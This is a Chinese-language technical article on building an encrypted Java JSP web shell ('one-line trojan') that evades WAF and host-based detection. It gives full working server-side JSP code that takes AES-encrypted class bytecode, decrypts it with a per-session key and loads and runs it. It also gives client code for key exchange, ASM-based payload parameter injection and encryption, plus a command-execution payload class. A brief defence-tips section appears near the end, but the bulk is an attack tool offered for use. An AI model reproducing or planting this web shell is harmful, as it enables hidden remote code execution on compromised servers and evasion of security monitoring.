利用动态二进制加密实现新型一句话木马之Java篇
字数 1078 2025-08-27 12:33:23
利用动态二进制加密实现新型Java一句话木马技术详解
一、概述
本技术文档详细介绍了如何利用动态二进制加密实现新型Java一句话木马,该技术可以解析并执行客户端传递过来的加密二进制流,有效绕过WAF或其他网络防火墙的检测。
二、传统一句话木马的局限性
-
传统实现方式:
- 最初形式:
<%execute(request("cmd"))%> - 后续变形:
eval(request("cmd"))等
- 最初形式:
-
防护系统检测原理:
- 基于主机的防护:文件特征码检测(如安全狗、D盾)
- 基于网络的防护:流量特征检测(如云WAF、硬件WAF)
-
传统木马被拦截原因:
- 请求中包含可识别的脚本源代码
- 多次相同操作产生相同请求数据
- 常见特征:
eval关键词、Convert.FromBase64String、特定参数名等
三、新型木马设计思路
1. 核心创新点
- 二进制字节码传输:发送编译后的class二进制文件而非源代码
- 动态加密:每次会话使用不同密钥加密payload
- 无参数设计:避免使用传统参数传递方式
2. 工作流程
- 首次连接时,客户端发起GET请求
- 服务端生成128位随机密钥,存入Session并返回给客户端
- 客户端用密钥对二进制payload进行AES加密,通过POST发送
- 服务端从Session取出密钥解密,解析并执行二进制payload
- 执行结果加密返回给客户端
四、关键技术实现
1. 服务端实现
(1) 动态解析二进制class文件
public static class Myloader extends ClassLoader {
public Myloader(ClassLoader c) { super(c); }
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
(2) 密钥生成与交换
if (request.getMethod().equalsIgnoreCase("get")) {
String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
request.getSession().setAttribute("uid", k);
out.println(k);
return;
}
(3) 数据解密与执行
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,
new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
byte[] classData = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Object myLoader = new Myloader().get(classData).newInstance();
String result = myLoader.equals(pageContext);
(4) 完整服务端代码(精简版)
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(0,16);session.putValue("u",k);out.print(k);return;}
Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
2. 客户端实现
(1) 远程获取密钥和Cookie
public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
Map<String, String> result = new HashMap<String, String>();
URL url = new URL(getUrl);
URLConnection urlConnection = url.openConnection();
result.put("cookie", urlConnection.getHeaderField("Set-Cookie"));
// ... 读取密钥代码 ...
return result;
}
(2) Payload类示例(执行系统命令)
public class Cmd {
public static String cmd;
@Override
public boolean equals(Object obj) {
PageContext page = (PageContext) obj;
// ... 执行命令并返回结果 ...
return true;
}
}
(3) 动态修改class参数
public static byte[] getParamedClass(String clsName, final Map<String,String> params) {
ClassReader classReader = new ClassReader(clsName);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
classReader.accept(new ClassAdapter(cw) {
@Override
public FieldVisitor visitField(int arg0, String filedName, String arg2,
String arg3, Object arg4) {
if (params.containsKey(filedName)) {
return super.visitField(arg0, filedName, arg2, arg3, params.get(filedName));
}
return super.visitField(arg0, filedName, arg2, arg3, arg4);
}
},0);
return cw.toByteArray();
}
(4) 加密payload
public static String getData(String key, String className, Map<String,String> params) {
byte[] bincls = Params.getParamedClass(className, params);
byte[] encrypedBincls = Decrypt.Encrypt(bincls, key);
return Base64.getEncoder().encodeToString(encrypedBincls);
}
五、技术优势
-
绕过WAF检测:
- 传输加密二进制流,无特征文本
- 每次会话密钥不同,相同payload加密结果不同
-
隐蔽性强:
- 服务端代码精简(最小319字节)
- 无传统参数传递方式
-
功能强大:
- 可执行任意Java代码
- 支持参数动态注入
六、防御建议
-
服务端防护:
- 禁用动态类加载功能
- 监控
defineClass方法调用 - 限制Session中存储敏感信息
-
网络层防护:
- 检测异常加密流量模式
- 监控二进制数据POST请求
-
其他措施:
- 定期更新WAF规则
- 实施严格的文件上传过滤
七、总结
本技术通过动态二进制加密和类加载机制,实现了高度隐蔽的Java一句话木马,有效绕过传统防护系统的检测。防御方需要从多层面加强防护,特别是对动态类加载和加密通信的监控。